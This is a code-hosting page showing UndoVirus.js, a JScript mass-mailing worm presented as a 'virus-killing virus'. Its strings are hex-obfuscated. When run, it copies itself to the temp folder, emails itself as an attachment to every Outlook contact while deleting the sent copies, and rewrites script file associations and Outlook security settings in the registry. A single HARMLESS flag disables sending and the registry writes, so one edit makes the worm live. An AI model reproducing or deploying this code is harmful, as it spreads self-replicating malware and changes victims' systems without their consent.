-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathUndoVirus.js
217 lines (192 loc) · 8.18 KB
/
UndoVirus.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
// Just in case :o)
var HARMLESS = true;
// ProgIDs
SHID = "575363726970742e5368656c6c";
FSID = "536372697074696e672e46696c6553797374656d4f626a656374";
OLID = "4f75746c6f6f6b2e4170706c69636174696f6e";
// Registry keys
RKEY = "484b43555c536f6674776172655c556e6675636b5c446f6e65";
VBKY = "484b43525c56425346696c655c5368656c6c5c4f70656e5c436f6d6d616e645c";
VBEK = "484b43525c56424546696c655c5368656c6c5c4f70656e5c436f6d6d616e645c";
JSKY = "484b43525c4a5346696c655c5368656c6c5c4f70656e5c436f6d6d616e645c";
JSEK = "484b43525c4a534546696c655c5368656c6c5c4f70656e5c436f6d6d616e645c";
WSHK = "484b43525c57534846696c655c5368656c6c5c4f70656e5c436f6d6d616e645c";
WSFK = "484b43525c57534646696c655c5368656c6c5c4f70656e5c436f6d6d616e645c";
OLS1 = "484b43555c536f6674776172655c4d6963726f736f66745c4f66666963655c392e305c4f";
OLS2 = "75746c6f6f6b5c4f7074696f6e735c47656e6572616c5c5365637572697479205a6f6e65";
// Email
EML1 = "54686973206973207265616c6c79206e65617421";
EML2 = "5468697320656d61696c2073686f756c642068617665206d61646520697420736f207468";
EML3 = "61742076697275736573206c696b65207468697320776f6e277420776f726b20696e2074";
EML4 = "68652066757475726521";
// Regfile
L_ = "403d22433a5c5c57494e4e545c5c53797374656d33325c5c575363726970742e657865205c2225315c2220252a22";
L0 = "57696e646f777320526567697374727920456469746f722056657273696f6e20352e3030";
L1 = "5b484b45595f434c41535345535f524f4f545c4a5346696c655c5368656c6c5c4f70656e5c436f6d6d616e645d";
L2 = "5b484b45595f434c41535345535f524f4f545c4a534546696c655c5368656c6c5c4f70656e5c436f6d6d616e645d";
L3 = "5b484b45595f434c41535345535f524f4f545c56424546696c655c5368656c6c5c4f70656e5c436f6d6d616e645d";
L4 = "5b484b45595f434c41535345535f524f4f545c56425346696c655c5368656c6c5c4f70656e5c436f6d6d616e645d";
L5 = "5b484b45595f434c41535345535f524f4f545c57534646696c655c5368656c6c5c4f70656e5c436f6d6d616e645d";
L6 = "5b484b45595f434c41535345535f524f4f545c57534846696c655c5368656c6c5c4f70656e5c436f6d6d616e645d";
L7 = "5b484b45595f43555252454e545f555345525c536f6674776172655c556e6675636b5d";
L8 = "22446f6e65223d64776f72643a3030303030303030";
// Message
M__ = "20";
M00 = "57656c636f6d6520746f20746865207669727573206b696c6c696e67207669727573"; //
M01 = "546869732076697275732069732061637475616c6c79206120776f726d2c206e6f7420612076697275732e";
M02 = "49742068617320656d61696c656420697473656c6620746f2065766572796f6e6520696e20796f7572204f75746c6f6f6b206164647265737320626f6f6b";
M03 = "616e642072656d6f76656420697473656c662066726f6d20796f75722053656e74204974656d7320666f6c6465722e";
M04 = "4d6f737420696d706f7274616e746c792c20697420686173206368616e67656420796f75722073797374656d2073657474696e677320746f2070726576656e74";
M05 = "616e792073696d696c617220776f726d732066726f6d20646f696e67207468652073616d65207468696e6720696e20746865206675747572652e"; //
M06 = "4a75737420746f2062652068656c7066756c2c207468657265206973206e6f77206120526567697374792066696c65206f6e20796f7572204465736b746f70";
M07 = "77686963682077696c6c20726573657420796f75722057696e646f77732053637269707420486f73742073657474696e67732c";
M08 = "756e646f696e67206d6f7374206f66207468652065666665637473206f66207468697320776f726d2c2077697468207468652073696e676c65";
M09 = "657863657074696f6e206f6620796f7572204f75746c6f6f6b2073656375726974792073657474696e67732c2077686963682068617665206265656e";
M10 = "6c6566742073657420746f20494527732052657374726963746564207369746573207a6f6e652e20596f752063616e207265736574207468697320";
M11 = "627920676f696e6720746f20546f6f6c73207c204f7074696f6e73207c20536563757269747920696e204f75746c6f6f6b2e"; //
M12 = "5468616e6b20796f7520666f72206c697374656e696e672e20486176652061206e696365206461792120203a6f29";
// Other
OLNS = "4d415049";
OLST = "4f75746c6f6f6b";
RGSZ = "5245475f455850414e445f535a";
RGDW = "5245475f44574f5244";
WSEX = getWS();
NPEX = "6e6f74657061642e657865202531";
SCNM = "575363726970742e53637269707446756c6c6e616d65";
FLNM = "5c556e646f56697275732e6a73";
NEWF = "5c5265736574536372697074696e672e726567";
NICE = "596f75206b6e6f77204920636f756c642068617665206d61696c6564206d7973656c66206e6f772e20204275742049206469646e27742c20636f732049276d206e69636520203a6f29";
sh = new Object();
f = new Object();
void main();
function main() {
if (!done()) {
void disable();
var quine = saveCopy();
void proliferate(quine);
void helpUndo();
void inform();
} // if (!done())
}
function done() {
var sh = new ActiveXObject(unmunge(SHID));
var val = false;
try {
val = (sh.RegRead(unmunge(RKEY)) == 1);
} catch (exception) {
} // try ...
return val;
} // function Boolean done(void)
function disable() {
if (HARMLESS) return;
var sh = new ActiveXObject(unmunge(SHID));
sh.RegWrite(unmunge(VBKY), unmunge(RGSZ), unmunge(NPEX));
sh.RegWrite(unmunge(JSKY), unmunge(RGSZ), unmunge(NPEX));
sh.RegWrite(unmunge(VBEK), unmunge(RGSZ), unmunge(NPEX));
sh.RegWrite(unmunge(JSEK), unmunge(RGSZ), unmunge(NPEX));
sh.RegWrite(unmunge(WSHK), unmunge(RGSZ), unmunge(NPEX));
sh.RegWrite(unmunge(WSFK), unmunge(RGSZ), unmunge(NPEX));
sh.RegWrite(unmunge(OLS1 + OLS2), unmunge(RGDW), 4);
} // function void disable(void)
function saveCopy() {
var f = new ActiveXObject(unmunge(FSID));
var dir = f.GetSpecialFolder(2)
f.CopyFile(eval(unmunge(SCNM)), dir + unmunge(FLNM), true);
return String(dir + unmunge(FLNM));
} // function String saveCopy(void)
function proliferate(quine) {
var o = new ActiveXObject(unmunge(OLID));
try {
if (o != unmunge(OLST)) throw(new Error(0xFF, "Cannot instantiate " + unmunge(OLST)));
var m = o.GetNameSpace(unmunge(OLNS));
var l = m.AddressLists;
for (idx in l) {
var c = idx.AddressEntries.Count;
if (c == 0) continue;
for (var i = 0; i < c; i++) {
var msg = o.CreateItem(0);
var rcp = idx.AddressEntries(i);
msg.To = rcp.Address;
msg.Subject = "This is cool!";
var bod1 = unmunge(EML1) + "\n\n";
var bod2 = unmunge(EML2) + unmunge(EML3);
var bod3 = unmunge(EML4) + "\n\n";
msg.Body = String(bod1 + bod2 + bod3);
var att = msg.Attachments;
att.Add(quine);
msg.DeleteAfterSubmit = true;
if (msg.To && !HARMLESS) {
msg.Send();
var sh = new ActiveXObject(unmunge(SHID));
sh.RegWrite(unmunge(RKEY), unmunge(RGDW), 1);
} // if (msg.To)
} // for (i)
} // for (idx)
if (HARMLESS) {
var sh = new ActiveXObject(unmunge(SHID));
sh.Popup(unmunge(NICE));
} // if (HARMLESS)
} catch (err) {
} // try ...
} // function void proliferate(void)
function helpUndo() {
var f = new ActiveXObject(unmunge(FSID));
var sh = new ActiveXObject(unmunge(SHID));
var out = f.OpenTextFile(sh.SpecialFolders("Desktop") + unmunge(NEWF), 2, true);
out.WriteLine(unmunge(L0));
out.WriteLine();
out.WriteLine(unmunge(L1));
out.WriteLine(unmunge(L_));
out.WriteLine();
out.WriteLine(unmunge(L2));
out.WriteLine(unmunge(L_));
out.WriteLine();
out.WriteLine(unmunge(L3));
out.WriteLine(unmunge(L_));
out.WriteLine();
out.WriteLine(unmunge(L4));
out.WriteLine(unmunge(L_));
out.WriteLine();
out.WriteLine(unmunge(L5));
out.WriteLine(unmunge(L_));
out.WriteLine();
out.WriteLine(unmunge(L6));
out.WriteLine(unmunge(L_));
out.WriteLine();
out.WriteLine(unmunge(L7));
out.WriteLine(unmunge(L8));
out.Close();
} // function void helpUndo(void)
function inform() {
var sh = new ActiveXObject(unmunge(SHID));
var txt = new Array();
txt[txt.length] = unmunge(M00);
txt[txt.length] = unmunge(M__);
txt[txt.length] = unmunge(M01);
txt[txt.length] = unmunge(M02);
txt[txt.length] = unmunge(M03);
txt[txt.length] = unmunge(M04);
txt[txt.length] = unmunge(M05);
txt[txt.length] = unmunge(M__);
txt[txt.length] = unmunge(M06);
txt[txt.length] = unmunge(M07);
txt[txt.length] = unmunge(M08);
txt[txt.length] = unmunge(M09);
txt[txt.length] = unmunge(M10);
txt[txt.length] = unmunge(M11);
txt[txt.length] = unmunge(M__);
txt[txt.length] = unmunge(M12);
void sh.Popup(txt.join('\n'), 0, "Virus-killing virus", 64);
} // function void inform(void)
function unmunge(instr) {
var out = new Array();
for (var i = 0; i < instr.length; i+=2) {
out[out.length] = String.fromCharCode(parseInt(instr.substring(i,i+2),16));
} // for (i)
return out.join('');
}
function getWS() {
var f = new ActiveXObject(unmunge(FSID));
var a = f.GetSpecialFolder(1) + unmunge("5c575363726970742e657865");
return a.replace(/\\/g,"\\\\") + unmunge("205c2225315c2220252a");
} // function String getWS(void)